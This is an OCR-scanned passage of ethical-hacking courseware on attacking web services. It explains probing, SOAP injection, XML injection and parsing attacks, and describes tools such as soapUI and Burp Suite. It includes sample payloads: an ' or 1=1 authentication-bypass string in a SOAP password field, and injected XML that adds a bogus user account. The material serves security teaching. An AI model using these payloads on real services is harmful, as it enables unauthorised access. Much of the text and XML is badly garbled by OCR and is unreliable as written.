C o p y r ig h t  ©  b y  EG-Gouacil. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

W e b  S e r v i c e s  P r o b i n g  A t t a c k s

In th e  f ir s t  s tep , th e  a tta c k e r  tra p s  th e  WSDL d o c u m e n t fro m  w e b  se rv ice  tra f f ic  and 

ana lyzes it  to  d e te rm in e  th e  p u rp o se  o f th e  a p p lic a tio n , fu n c t io n a l b re a k d o w n , e n try  p o in ts , 

and m essage typ es . These a ttacks  w o rk  s im ila r ly  to  SQL in je c t io n  a tta c k s . The a tta c k e r  th e n  

c rea tes  a se t o f  va lid  req ue s ts  by se le c tin g  a se t o f  o p e ra tio n s , and fo rm u la t in g  th e  re q u e s t 

m essages a cco rd in g  to  th e  ru les  o f  th e  XM L Schem a th a t  can be s u b m itte d  to  th e  w e b  se rv ice. 

The a tta c k e r  uses th e se  req ue s ts  to  in c lu d e  m a lic io u s  c o n te n t in SOAP req ue s ts  and ana lyzes 

e rro rs  to  gain  a d e e p e r u n d e rs ta n d in g  o f  p o te n t ia l s e c u r ity  w eaknesses.

<?>o:ml version־ " I, O" encoding־  "utf-8" 1>
■ <soap: Envelope xmlns: soap='http://schemas.xmlsoap.org/&oap/ envelope/" 
xmlns: xsi="http ://w w w  .w3 .org/2001/XMLSchem~- instl'lnce " 
xmlns: xsd='hup://www .w3 .org/200 l/XMLSchemlT>
• <soap: Body>
• <soap:Fault>
<fauKcode>soa p:Se rver</faultcode>
<fauhstring>System. Web .Services .Protocols .SoapException: ׳v^A^unahi.'-o
process request — • 1y5t em.Dale.OleOb.CXeObCxception: Syntax error Imissinc operator I in query u p m m
productnamelike “ and provide rid -'312 - 111 8543". At
sy(tenvData.O4eDb.Qle0bconvnand.Executc(ommandTextErR>rHandling
11 nt32 hr) at »ys tern •Data.CMeOto.OleOtxomrra nd .ExecuteCommindTeMtFoi SintfeReuill
ItagDSPARAMS dbParam?, Objects execi* eKesu ft) at
sy* t rm_D«fa.OI e Db.QUCbcomniand f xecutrCorrmand T art( Objrtt&m rcu t pftnult) at Sy»t em .Dat a HleOfe
OteCXjCommiod .ExecuteCommind (Command Behavior behdvioi. Objects exauttfteMlt)4t System Data 
.0*roh .OlcDbCo mm and. txecuteneoderi ntc ma I (command Behavior bchavior, String m<־t hod) at
System .Oats. (JleOb.deDtxonwTwindt xn 11 H rsdn(( aniniflndRdiavior behavior) at
S'nt«mi>atd.Ol«ObXlleOtx«11*11<1r1dExk;1u teRc^dud at Pi oduct Info. ProdwUOSAuiL-u • Qet Piodwct 
informat ioo|striflg p rodu<tNamcv st ri nj uld, St ring password) at
P'0d1Ktlnfc.PTuduclnl<xCetP10duc(ln(urn«tianBYN«1n^StrinRname,$t(1n« u»d,String paMMreid) — Cndol 
inner Mcepttonstadctrar- —</faultSthng>
<detail />
</soap: Fault>
</soap : Body>
</30jp: Envelope-'

S e r v e r  t h r o w s  

a n  e r r o r

<?xml version1.0" ־• encoding־ 'U  TF-S' standalone־
no' ?>
• <SOAP*ENV: Envelope )(mlns:
SOAPSDKl="http://www.w3.org/2001/
XMLschema'
xmlns: SOAPSDK2="http : //w w w  .w3 .org/200 
l/XMLSchem.o- inst.once" 
xmlns: SOAPSDK3="http://schemas .xmlso.op 
.org/soap/ encoding/' xmlns: SOAPENV־
‘ http://schemas .xmlsoap .org/soap/ envelope/'*
- <SOAP- ENV:Body>
- <SOAPSOK4: GetProdUctlnformationByName 
xmlns: SOAPSDK4=' 1 ^0^01̂1̂/י ו81ו51^ ^ : / ^ > 
kS0APSDK4: name> </S0APSDK4:namel 
<SOAPSOK4: uld>312 - 111 - 8543</SOAPSDK4: uid> 
<S0APSDK4: password* 5648</SOAP$DK4: 
pa39word>
</SOAPSDK 4: GetProduc t  In forma tiO nB y Name> 
</SOAP־ENV: Body>
</SOAP־ENV: Envelope*

Attacker

•־............>•
Attacker in ject 

a rb itra ry  character 
( ')  in the in pu t fie ld

F I G U R E  1 3 . 5 3 :  W e b  S e r v i c e s  P r o b i n g  A t t a c k s
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Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

Web Service Attacks: SOAP 
In jection

J  A t t a c k e r  i n j e c t s  m a l i c i o u s  q u e r y  s t r i n g s  i n  t h e  u s e r  i n p u t  f i e l d  t o  b y p a s s  w e b  s e r v i c e s  

a u t h e n t i c a t i o n  m e c h a n i s m s  a n d  a c c e s s  b a c k e n d  d a t a b a s e s

J  T h i s  a t t a c k w o r k s  s i m i l a r l y  t o  S Q L  I n j e c t i o n  a t t a c k s

Server Response
0 d ) ®

< ? x m l v e r s i o n “ " 1 . 0 ״  e n c o d i n g = " u t f - 8 ' ?>
-  < s o ^ > :  E n v e lo p e  x m ln s :  s o a p = ' , h t t p : / / s c h e m a s  
. x m l s o a p . o r g / s o a p / e n v e lo p e / "
x m ln s :  x s i  —' h t t p : / /w w w  . w3 . o r g /2 0 0 1 /X M L S c h e m a -  
i n s t a n c e '
x m ln s :  x s d ■ 'h t t p : / /w w w  . w 3  . o r g / 2 0 0 1 / XM LSchem a '>
-  < s o a p :B o d y >
-  < G e tP r o d u c t ln fo r m a t io n B y N a m e R e s p o n s e  
x m ln s ״ " h t t p : / / j u g g y b o y / P r o d u c t I n f o / ״>
־  < G e t P r o d u c t ln f o r m a t io n B y N a m e R e s u l t >
< p r o d u c t i d >  2 5  < / p r o d u c t ! d >
< p r o d u c t  Name > P a in t in g l0 1 < / p r o d u c t N a m e  >
< p r o d u c t Q u a n t i t y > 3 < / p r o d u c t Q u a n t i t y >  
< p r o d u c t P r i c e >  1 5 0 0 < / p r o d u c t P r ic e >
< / G e t P r o d u c t ln f o r m a  t io n B y N a m e R e s u lt>
< /G e  t P r  o d u c t l n f o  rm a  t io n B y N a m e R e  s p o n s e >
< / s o ^ > :  B o d y >
< / s o a p :  E n v e lo p e >

O O  h ttp : / / ju g g y b o y .c o m /w s /p ro d u c ts .a s m x

Account Login
Username f  % 

Password [ o n

1.0 ine«d1B9■ 'UTF-0' standaloo•■ '##"?> 
pe xnilns S O A P C D K l-h ttp  //wvw v) . or«/2001/X H LScb«i 
h t t p  //WWW w3 © rg /2 0 0 1 / XMLGchar* •  in s ta o c e  
h t t p  : / /s c h c sM : . xb1 :o«p  . o t f / s o t p / i B e e d i o (  /  ' u l a i

<?ul T«r: 10a■
- <SQk?-DIV:tav< 
alas: SQAPS0X2׳ 
als: S0APSDK3׳

llf/iOip lenvclopcl ’>SOAPEKV- http://:ebcB«:
- <S0AP-DfV Body
- <2QA?SDX4 G«tProductlnfonmtionByNftoe
ala:: SQAPSDX4*' http // }uggyboy/ProductInfo /'> 
<20APSDK4: name .►% </S0APSDK4 : name>
<20APSDK4: u1d> 312 - 111 - 854 3</SQAPSDK4 : md>
<£0APSDK4: pa::word> Or 1= 1 Or blah = 1 </S0APS0K4 : pas 
</S0APS0K 4 GetfrodnctlnforaitiooByNwo c/SOAP-EKV Body:• 
</S0AP- OT/ : Envelope*

C o p y r ig h t  ©  b y  EC-Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

W e b  S e r v i c e  A t t a c k s :  S O A P  I n j e c t i o n

S im p le  O b je c t Access P ro to co l (SOAP) is a l ig h tw e ig h t and s im p le  X M L-based  p ro to c o l 

th a t  is des igned  to  exchange  s tru c tu re d  and ty p e  in fo rm a tio n  on th e  w e b . The XM L e n ve lo p e  

e le m e n t is a lw ays th e  ro o t e le m e n t o f  th e  SOAP m essage in th e  X M L  schem a. The a tta c k e r 

in je c ts  m a lic io u s  q u e ry  s trings  in th e  user in p u t f ie ld  to  bypass w e b  serv ices a u th e n tic a tio n  

m ech an ism s and access backend  da tabases. This a tta c k  w o rk s  s im ila r ly  to  SQL in je c tio n  a ttacks .

Server Response

< ? x m l  v e r s i o n = " l . 0 "  e n c o d i n g = " u t f - 8 ' ? >
-  < s o a p :  E n v e lo p e  x m l n s :  s o a p = ' י h t t p : / / s c h e m a s  

. x m l s o a p . o r g / s o a p / e n v e l o p e / "

x m ln s  : x s i  = ' h t t p : / / w w w  .w 3  . o r g / 2 0 0 1 /X M L S c h e m a -  

i n s t a n c e '
x m l n s : x s d = ׳ h t t p : / / w w w  . w 3  . o r g / 2 0 0 1 / X M L S c h e m a '>

-  < s o a p : B o d y >
-  < G e t P r o d u c t I n f o r m a t i o n B y N a m e R e s p o n s e  

x m l n s = " h t t p : / / j u g g y b o y / P r o d u c t I n f o / " >

-  <  G e t P r o d u c t  I n f  o r m a  t i o n B y N a m e R e s u i t >

< p r o d u c t i d >  2 5  < / p r o d u c t i d >
< p r o d u c t  N am e > P a i n t i n g l 0 1 < / p r o d u c t N a m e  >

< p r o d u c t Q u a n t i t y > 3 < / p r o d u c t Q u a n t i t y >  
< p r o d u c t P r i c e >  1 5 0 0 < / p r o d u c t P r i c e >

< / G e t P r o d u c t l n f o r m a t i o n B y N a m e R e s u l t >

< / G e t P r o d u c t l n f o r m a t i o n B y N a m e R e s p o n s e >
< / s o a p :  B o d y >
< / c o a p :  E n v e lo p e >

Q ©  http://iuggyboycom/ws/products.asmx

A ccoun t Login

ב כ > ■U s e r n a m e  f  %

P assw ord ^ o r  1 1 orb ־  b h SLbni :

<?xk1 v e r s i o n -  ' 1 . 0 '  e n c o d in g -  U T r- 8 ' s t a n d a l o n e -  'n o " ? >
- < S 0A P -B N V :E nvelope x m ln s : SOAPSDKl-'־h t tp : / /w w w .w 3 .o r g /2 0 0 l/* M L S c h e 1  
m i n i : SOAPSDK2— ' http ://www. w3 . org/ 2001/ XMLSchema - inatance' 
xalm: SOAPSDK3=' http://sche1aas.xa11a0ap.org/90ap/enc0ding/' xalna: 
SOAPEKV-•h t t p : / / * c h e * 1d s  .x ja l8  0 a p .0 r g /8 0 a p  J e n v e l o p e J r><S0AP-BNV:B0dy>
- < S O A P S D K 4 :O e tP ro d o c tln fo r« o tio n B y N n m e
n l n s : S0APSDK4—' h t t p : / /  j u g g y b o y /P r o d u c t l n f o  / ' >
<SOAPSDK4 naae>% </SOAPSDK4: name>
<S0A?SBK4: uld>312 - 111 - 8543</SOAPSDK4: uld>
<SOAPSDK4: paaaword>' Or 1* 1 Or blah ■ </SOAPSDK4: paaaword>
</SOAPSDK 4: cotProdactlnformatlonByNamo> </SOAP ENV:B0dy>
<JSOAP BNV : Envoiopo>

FIGURE 1 3 .5 4 : SOAP In je c tio n
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Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

CEH
Web Service Attacks: X M L  
In jection
A t t a c k e r s  i n j e c t  X M L  d a t a  a n d  t a g s  i n t o  u s e r  i n p u t  f i e l d s  t o  m a n i p u l a t e  X M L  s c h e m a  o r  p o p u l a t e  

X M L  d a t a b a s e  w i t h  b o g u s  e n t r i e s

X M L  i n j e c t i o n  c a n  b e  u s e d  t o  b y p a s s  a u t h o r i z a t i o n ,  e s c a l a t e  p r i v i l e g e s ,  a n d  g e n e r a t e  w e b  s e r v i c e s  

D o S  a t t a c k s

S e r v e r  S i d e  C o d e

<?xm l v e r s i o n 1 . 0 " ־ " e n c o d in g ־ " IS O -8 8 5 9 - ! " ? >
•cuser s>

< u s e r>
<u sem am e > g a n d a l f  < /u  sernam e>
< p assw ord> c י  3 < /p a s s w o rd >
< u s e r id > l0 1 < /u s e r id >
<ma1 1 > g a n d a lf  0 n u d d le e a r  t h . ccnK /m a i l>

< /u s e r>
< u s e r>

<u s e m a n e  >Mar k < /  u s e r  name>
< p a s s w o rd > l2 3 45< /passw o  rd >
< u s e r id > l0 2 < /u s e r id >
< m a il> g a n d a lf  (? m id d le e a r th . c o trK /m a il>

J < u s e r>
■ <u s e m  ame > j  as on< /u s e  m am e>
■ < p a s s w o rd > a ttc )c < /p a s s w o rd >

C re a te s  n e w

■ < u s e r id > 1 0 5 < /u s e r id >
o n  t h e  s e r v e r■ < m a il> ja s o n @ ju g g y b o y •c o n K /m a il>

■ < ^ u s e r>
< /u s e rs >

http://juggyboy.com/ws/login.asmx

S u b m it

mark@certifiedhacker.com</mail> </user>
<u$er> <username>Jason</usemame> 
<password>attack</password> 
<userid>105</useridxmail>jason (Sjuggyboy.com

C o p y r ig h t  ©  b y  E C -G a u a c t l. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

W e b  S e r v i c e  A t t a c k s :  X M L  I n j e c t i o n

The process in w h ic h  th e  a tta c k e r  e n te rs  va lues th a t  q u e ry  XM L w ith  va lues th a t  ta ke  

a dva n ta g e  o f  e x p lo its  is k n o w n  as an XM L in je c tio n  a tta ck . A tta c k e rs  in je c t X M L  d a ta  and tags 

in to  user in p u t fie ld s  to  m a n ip u la te  XM L schem a o r p o p u la te  XM L da tabase  w ith  bogus e n tr ie s . 

XM L in je c tio n  can be used to  bypass a u th o r iz a t io n , esca la te  p riv ile g es , and g e n e ra te  w e b  

serv ices DoS a ttacks .

S e r v e r  S i d e  C o d e

C re a te s  n e w  

u s e r  a c c o u n t  

o n  t h e  s e r v e r

< ? x n l v e r s io n ■  1 . 0 * e "׳ n c o d i n g - ' I S O ־8859־ l " ? >  
< u s « r s >

< u s * r >
< u s  • r  n  M M  > g a n d a  1 £*< /  u  s «  r  n « n •  > 
< p a s 3 w o rd > ! a 3 < /p a s s w o rd >  
< u s e r id > 1 0 1 < / u s « r id >
< r־. a i l > g a n d a l f  ■ 'r . id d le e a r  t h  . c o m < /r .־ a i l >

< / user>
< u s « r >

< u se rn a !ne>M ar]c< /use rna 1ne>
< p » 3 3 w 0 rd > 1 2 3 4 5 < /p a 3 3 v 7 0 rd >
< u s e r id > 1 0 2 < / u s e r id >
< r 1 a i l> g a n d a l£ 3 m id d l« « a r t h . c o m < /m a i l>  

< /u s « r >
J ^user5■ •I <ua*rna.*n#> ja s o n < /u s « rn a m e >  ;
I <pas3word>attck</pa3sword> !
|  < u s e r id > 1 0 5 < /u s « r id >
■ < m a !l> ja s o n t"  ju g g y b o y . o o m < /m » il>  ■
• < /u 3 * r >

< / u 1 « r ! >

o o  http://j1Jggyboy.com/ws/10gin.asmx

Account Login

Username Mark

Password 12345

E-mail

A
a i l

mark@ >certifiedhacker.com </mailx/user>
<user> <username>Jason</username>
<password>attack</password>
<userid>105</useridxmail>jason@>juggyboy.com

FIGURE 1 3 .5 5 : XML In je c tio n
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Hacking W eb A pplications

W eb Services P ars ing  A ttacks CEH

B  P a r s i n g  a t t a c k s  e x p l o i t  v u l n e r a b i l i t i e s  a n d  w e a k n e s s e s  i n  t h e  p r o c e s s i n g  c a p a b i l i t i e s  o f  t h e  X M L  

p a r s e r  t o  c r e a t e  a  d e n i a l - o f - s e r v i c e  a t t a c k  o r  g e n e r a t e  l o g i c a l  e r r o r s  i n  w e b  s e r v i c e  r e q u e s t  

p r o c e s s i n g

A t t a c k e r s  s e n d  a  p a y l o a d  t h a t  i s  

e x c e s s i v e l y  l a r g e  t o  c o n s u m e  a l l  s y s t e m s  

r e s o u r c e s  r e n d e r i n g  w e b  s e r v i c e s  

i n a c c e s s i b l e  t o  o t h e r  l e g i t i m a t e  u s e r s

A t t a c k e r  q  u e r i e s  f o r  w e b  s e r v i c e s  w i t h  a  

g r a m m a t i c a l l y  c o r r e c t  S O A P  d o c u m e n t  t h a t  

c o n t a i n s  i n f i n i t e  p r o c e s s i n g  l o o p s  r e s u l t i n g  

i n  e x h a u s t i o n o f  X M L  p a r s e r a n d C P U  

r e s o u r c e s

C o p y r ig h t  ©  b y  EC-Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

W e b  S e r v i c e s  P a r s i n g  A t t a c k s

A pars ing  a tta c k  takes  p lace  w h e n  an a tta c k e r  succeeds in m o d ify in g  th e  f ile  re q u e s t o r 

s tr in g . The a tta c k e r  changes th e  va lues  by su p e rim p o s in g  one  o r m o re  o p e ra tin g  system  

c o m m a n d s  via  th e  re q u e s t. Parsing is poss ib le  w h e n  th e  a tta c k e r  execu tes  th e  .b a t (ba tch ) o r 

.cm d (co m m a n d ) file s . Parsing a tta cks  e x p lo it v u ln e ra b ilit ie s  and w eaknesses in th e  p rocess ing  

ca p a b ilit ie s  o f  th e  X M L  p a rs e r to  c re a te  a d e n ia l-o f-s e rv ic e  a tta c k  o r  g e n e ra te  log ica l e rro rs  in 

w e b  se rv ice  re q u e s t p rocess ing .

R e c u r s i v e  P a y l o a d s

XM L can eas ily  nes t o r a rran ge  th e  e le m e n ts  w ith in  th e  s ing le  d o c u m e n t to  address 

th e  c o m p le x  re la tio n s h ip s . An a tta c k e r  q ue rie s  fo r  w e b  se rv ices w ith  a g ra m m a tic a lly  

c o rre c t SOAP d o c u m e n t th a t  c o n ta in s  in f in ite  p rocess ing  lo o p s  re s u lt in g  in e xh a u s tio n  o f  X M L  

p a rse r and CPU resources.

O v e r s i z e  P a y l o a d s

In th ese  pay loads, XM L is re la t iv e ly  ve rb o se  and p o te n t ia lly  la rge  file s  a re  a lw ays in to  

th e  c o n s id e ra tio n  o f  p ro te c t in g  th e  in fra s tru c tu re . P ro g ra m m e rs  w ill l im it  th e  d o c u m e n t's  size. 

A tta c k e rs  send a p ay loa d  th a t  is excess ive ly  la rge  to  co nsu m e  all sys tem  resources, re n d e rin g  

w e b  se rv ices inaccess ib le  to  o th e r  le g it im a te  users.
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Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

Web Service Attack Tool: soapUI

s o a p U I  is  a  o p e n  s o u r c e  

f u n c t i o n a l  t e s t i n g  t o o l ,  m a i n l y  

u s e d  f o r  w e b  s e r v i c e  t e s t i n g

I t  s u p p o r t s  m u l t i p l e  p r o t o c o l s  

s u c h  a s  S O A P , R E S T , H T T P , J M S ,  

A M F ,  a n d  J D B C

A t t a c k e r  c a n  u s e  t h i s  t o o l  t o  

c a r r y  o u t  w e b  s e r v i c e s  p r o b i n g ,  

S O A P  i n j e c t i o n ,  X M L  i n j e c t i o n ,  

a n d  w e b  s e r v i c e s  p a r s in g  

a t t a c k s

C o p y r ig h t  ©  by EC-Cauactl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib ite d

W e b  S e r v i c e  A t t a c k  T o o l :  s o a p U I

T Source : h ttp ://w w w .soa pu i.o rg

soapU I is an o pen  source  fu n c t io n a l te s tin g  to o l,  m a in ly  used fo r  w e b  se rv ice  te s tin g . It su p p o rts  

m u lt ip le  p ro to c o ls  such as SOAP, REST, HTTP, JM S, A M F , and  JDBC. It enab les  you  to  c rea te  

advanced  p e rfo rm a n c e  rests v e ry  q u ic k ly  and run  a u to m a te d  fu n c t io n a l te s ts . W ith  th e  he lp  o f 

th is  to o l,  a tta c k e rs  can eas ily  p e r fo rm  w e b  se rv ices p ro b in g , SOAP in je c tio n , XM L in je c tio n , and 

w e b  se rv ices pa rs ing  a ttacks .
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Exam 312-50 C ertified Ethical H ackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

1- ״1 msoaplll 451

M &
Sd  ₪I  SamplcSc1-viccSo,1pBindng

©
' Overvie/v ' Service Encpwnts \ WSD1 Cement WS-lConplaxe |
­ m ♦0 .י

x sample-ser\ke./.-sd ן

flb:\C:lM$0sVUft1t1isi,d :a  Vodpd-Tutor iab\WSd-W AO. vice./vsd

1: 3earchRespor.3e ,* />

►S

<vsdl :sessaae na1»="3ear2hre3pcn3e">
<v־a i:par- na1g=3־ear^&re3ulf־ eienenc=

< /w sd l :n c :3 a j c >
<vsdl:1ne35age nan6="buySe<1ue3t">

<vsdl:par- r-a2se=“3ess10nd* type=”xsci: string"/> 
< v - d l .p a z s  n n i r - **buyasrijig "  t-ypc—’’x=<i. 3t u i n g ”/ >

<,■vsdl : n a c B a j o
<vsdl:2ressaaa na!1e="bu sRe spo a s e " >

■cwsdl.pars naue=־buyrasuls־ elenen^=”tna:PuyRespoase”/^
< /v 9 d l :m e :3 a ;e >
<vsdl ־tn“ §5aa® naT¥*="Login_fa־jltM3g">

<v=dl:parם nane="loginFault" cype=*xsd:string"/> 
i / w s d l . a e : 3 a j e >

a׳ d l - m i c a ^ •  n a n e= "  lo g o u t_ f  Ju ltM « g ">
< v s d l:p a r t  r ^ x a = " Io q o J t ia u lt '*  typ-3="x3d: s t r in g  V >  

l±> C_l Comdex Type 
© ט  Aron y ־nous C|~ 
©  CD Global □ encn 
©  C3 Schemas 
0 &״  Messages 

y  £7■ buyReque 
j j••״□  part:

5 Q  port: J 
©  C3 bu/Respc I 
© C 3  buy_fadt I

: Ih d boirRea m Ca bgirRespJ Q & bgin_f0jlII

* □ part: p
©••CD bg0jtR.ec 
©  O  booutRes 
ih  C□ bco jt fa 
©  C3 searchRe

pa l;<^1tty://A־ww.cxa11plc.otg/>ertulc/

= *  lo o k  Q#sktop U#lp

1vD <3 0 4 C ?  * o

[IP Projects 
B  1  sample-service

3  I  SarrpfeSer v ceSod[ 
® •£ buy

L ע   Request 1

Recuest PrppefOes

Property J 1/alue ך
b P,״־ Request 1 1 -  

1
Messaoe 5ize 277
inocing UTF-8
Encboirt 

3nc Address

http://ww...

...Rcdi ׳oflov־ true
Jserane
-,assv'0'd
>xnan
Autncntica... 
*ftSS^ass... 
W55 rmeT... 
SSL Keyatore

Global HTT...

Slop SOAP ... fake
EnaDle M7CW false
rwteMTOM fol»c
I  Hire Rcep... false
txpandMT .. false
bodbe axil... (rue
EnoxScAet... false
FrwrtU ’nln falc# ׳

Proper fc#e

F I G U R E  1 3 . 5 6 :  s o a p U l  T o o l  S c r e e n s h o t
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Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

Web Service Attack Tool: XMLSpy C EH

j  A ltova  XMl S py

Fic E׳ it  Frcject >M- DTDfSchcmo Cchcrno design XSLJXQucry Authentic Convert View Ercwso :

WSDL SOAP Tools Window Help :
a j  1 ^ i p i i a i n i g i B ■ ! r  , W H f f i i l F b- ׳ ,1 2 a i a . a

- & 00 jg 1> ■ ft, [̂ <s- <y B ! y כ. ;
ncyR 3  XSL O u tp u t ,  h tm t

A T h e  
P ־ e rs o n n

F irs t  N a i r n

ד פ

Ksi:fot־each se1ect="
n1:Firs1Name">

> I I i i I 1 I י
span s ty le - 'col or: navy: 
font-famity:Arial; 
font• size :12pt; 
font-we1ahtbold;">II I I : I II <
«cj:ג  ppV-tompialo י/ס• 

«pan>

httpTVivsw'AS orgf20 m/XML£cnerria-1nsta 
nee־xsl scnenraLocation
http /xm  s  3y. neVag e r  
c/fschemastoersonn elC:\rneAaemvx$d'> 

-P c io o ra D o io - 1 <
NiM̂/FirstNJarr1«s► 

j < la s tN a m e »  
0evgood«f

D ccunrnt
X Call Stack 

| V<lu» /  Atlrih N»<n»____

Q 'h * A * n c >«3 © A q e n ts

xsl:rcr-eech TheAgencyR3.xsf Tertiporarr Re$» *
xsl:fo־־eo=h Thc.AgcncyR3.x5H Temporary Res׳ _
vsl:f<y-*!ch Th*A{jf>nryR3 *«H TMpor»rvR«1
xsl:for-ea:h TheAgencyR3.xsH Temporary Res!

v |  kocty Thc.AgcncyR3.xiH Tcnpwar/Rc5< v

Call Stack Templates Into Messaoes Trace

Elcniat

Oamert
lerf
Etoner*

tJ  ( )  Per vjt aDato

tl () ״lrsNane
0  () -ostMoire 
ra ( )  H e  ElOTtcr*

Concert Varables <FattvWatah

h ttp  ://w w w . altova.com

A l t o v a  X M L S p y  i s  t h e  X M L  e d i t o r  a n d  

d e v e l o p m e n t  e n v i r o n m e n t  f o r  

m o d e l i n g ,  e d i t i n g ,  t r a n s f o r m i n g ,  a n d  

d e b u g g i n g  X M L - r e l a t e d  t e c h n o l o g i e s

C o p y r ig h t  ©  b y  E C -C a u a c tl. A l l  R ig h ts  R e s e rv e d . R e p ro d u c t io n  is  S t r ic t ly  P r o h ib i te d .

W e b  S e r v i c e  A t t a c k  T o o l :  X M L S p y

^  2  Source : h t tp : / /w w w .a lto v a .c o m

A lto v a  XM LSpy is th e  XM L e d ito r  and d e v e lo p m e n t e n v iro n m e n t fo r  m o d e lin g , e d itin g , 

tra n s fo rm in g , and d e b ug g in g  X M L -re la te d  te c h n o lo g ie s . It o ffe rs  g ra p h ic a l schem a d e s ig n e r, 

S m a rt Fix v a lid a tio n , a code  g e n e ra to r, f i le  co n v e rte rs , debugge rs , p ro file rs , fu ll da tabase  

in te g ra tio n , and s u p p o r t fo r  WSDL, SOAP, XSLT, XPath, X Q uery, XBRL, and O pen XM L 

d o c u m e n ts , p lus V isua l S tu d io  and Eclipse p lug -ins , and m o re .
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□ ( s J S 1I Altova XMLSpy

i File Edit Project XML DTD/Schema Schema design XSL/XQuery Authentic Convert View Browser 

i WSDL SOAP Tools Window Help

I D  I H j 0 1 # U  U j B l l i B i  I?  I r a j  f
ם טטם ם ט

The 
- Personn

F i r s t  N a m e :

x s l : t e x t >

< / s p a n >

x s l : f o r - e a c h  s e l e c t = "

n 1 : F i r s t N a m e " >

s p a n  s t y l e = " c o l o r : n a v y ;  

f o n t ־ f a m i l y : A r i a l ;  

f o n t ־ s i z e : 1 2 p t ;  

f o n t - w e i g h t : b o l d ;  * >

x s i : a p p l y - t e m p l a t e s / >

- s p a n >I I I I I I
<t

3 3

3 4

h t t p  :11w w w . w 3  . o r g / 2 0  

0 1 / X M L S c h e m a - i n s t a  

n e e "

x s i : s c h e m a L o c a t i o n

h t t p  : / f x m  l s p y . n e t / a g e n  

c y / s c h e m a s / p e r s o n n  

e l

C : V T h e A g e n c y . x s d " >  

m  < P e r s o n a l D a t a >

N i k i < / F i r s t N a m e >  

] < L a s t N a m e >  

D e v g o o d < /

Result Document

frn i The Agency R3 Q  A g e n ts  @ X S L  O utput.htm l

I Location

X  Call Stack 

I Value /  Attrib.. NameI Type

Context

Name
TheAgencyR3.xslt Temporary Res! /v  

Temporary Res!

Temporary Resi 

Temporary Res! 

Temporary Res!

TheAgencyR3.xslt

TheAgencyR3.xslt

TheAgencyR3.xslt

TheAgencyR3.xslt

*  xsl:for-each 

xsl:for-each 

= xsl:for-each 

xsl:for-each 

v  body

n

Element

Element

NikiText

Call Stack Templates In fo  Messages Trace

NUMLn 5, Col 19

E) <> PersonalData 

□ ) { FirstName 

!— Hx 
LastName >< ש 

l+l O  Title Element 
Context Variables XPath-Watch

Step In to

Element

FIGURE 13.57: XMLSpy Tool Screenshot
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־ ־ ^  M o d u l e  F l o w

So fa r, w e  have d iscussed w e b  a p p lic a tio n  co nce p ts , th re a ts  assoc ia ted  w ith  w e b  

a p p lic a tio n , and th e  hack ing  m e th o d o lo g y . N o w  w e  w ill d iscuss hack ing  to o ls . These to o ls  he lp  

a tta cke rs  in re tr ie v in g  se ns itive  in fo rm a tio n  and a lso to  c ra ft  and  send m a lic io u s  packe ts  o r 

req ue s ts  to  th e  v ic t im . W e b  a p p lic a tio n  hack ing  to o ls  a re  e spe c ia lly  des igned  fo r  id e n t ify in g  th e  

v u ln e ra b ilit ie s  in th e  w e b  a p p lic a tio n . W ith  th e  h e lp  o f  th ese  to o ls , th e  a tta c k e r  can eas ily  

e x p lo it th e  id e n t if ie d  v u ln e ra b ilit ie s  and ca rry  o u t w e b  a p p lic a t io n  a tta c k s .

^ W e b  A p p  Pen T e s tin g W e b  A p p  C on cep ts

^  S e c u r ity  T oo ls W e b  A p p  T h re a ts

C o u n te rm e a s u re s fs=9 H ack in g  M e th o d o lo g y

S b )

ץ  W e b  A p p lic a t io n  H ack in g  T oo ls

-י־^•
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This se c tion  lis ts  and describes  va rio u s  w e b  a p p lic a tio n  hack ing  to o ls  such as B urp  Su ite  

P ro fess iona l, C ook ieD igger, W ebS carab , and so on.
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Web Application Hacking Tool: 
Burp Suite Professional

Source : h t tp : / /w w w .p o r ts w ig g e r .n e t

Burp  S u ite  is an in te g ra te d  p la tfo rm  fo r  p e r fo rm in g  s e c u r ity  te s tin g  o f  w e b  a p p lic a tio n s . Its 

va rio u s  to o ls  w o rk  to g e th e r  to  s u p p o r t th e  e n tire  te s tin g  process, f ro m  in it ia l m a p p in g  and 

ana lys is o f  an a p p lic a tio n 's  a tta c k  su rface , th ro u g h  to  f in d in g  and e x p lo it in g  s e c u r ity  

v u ln e ra b il it ie s .  Burp  Su ite  c o n ta in s  key c o m p o n e n ts  such as an in te rc e p tin g  p ro xy , a p p lic a tio n - 

a w a re  sp ide r, advanced  w e b  a p p lic a tio n  scanner, in t ru d e r  to o l,  re p e a te r to o l,  se q u e n ce r to o l,  

e tc .
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in tru d e r a tta ck  1

r« a c  *rtowvtg 1H * • *וזז

lull* target positor* | pajloads•׳

request position pajfoad | *talus error 6 me leng* comment
*0 1 ^ ■ ]200 10443

Is

1 We ס Service AitacK 400 193
2 we ס SeMce *itac* 200 10443

request response 
raw p 3tarr\ headers he! 

l o r r  /th?id«1.4S07UlSOO48223lCpld•!. 1 H T T P /1 . 1 
Host: t34.an.b1ng.net 
Pcoxy-Connection: keep-alive
O sec-Agent: B o s i lU /5 .0  .V indoirs NT €.21 VOV£4» A pp leV ebr.it/S 37 .4  

KHTHL, l ik e  Gecko* C hrone/2 2 .0 .1 2 2 9 .9 4  S afar 1 /S37.4 
A cce p t: • / •
Peterer:
h t tp :  / / m . b in g . c o a /  1anag«9 s^arch7q-blkes41d-*CCC7£70fSC1CD3A9d:EABESe'3 
ל1 FE8S7SD1ZS94 4FOPH• IQFPBA 
A ccept-B ncod ing : g s ip ,d e f la te ,s d e h  
Accept-Lanyua<j• : e n -U S .e n ;q -0 .0  
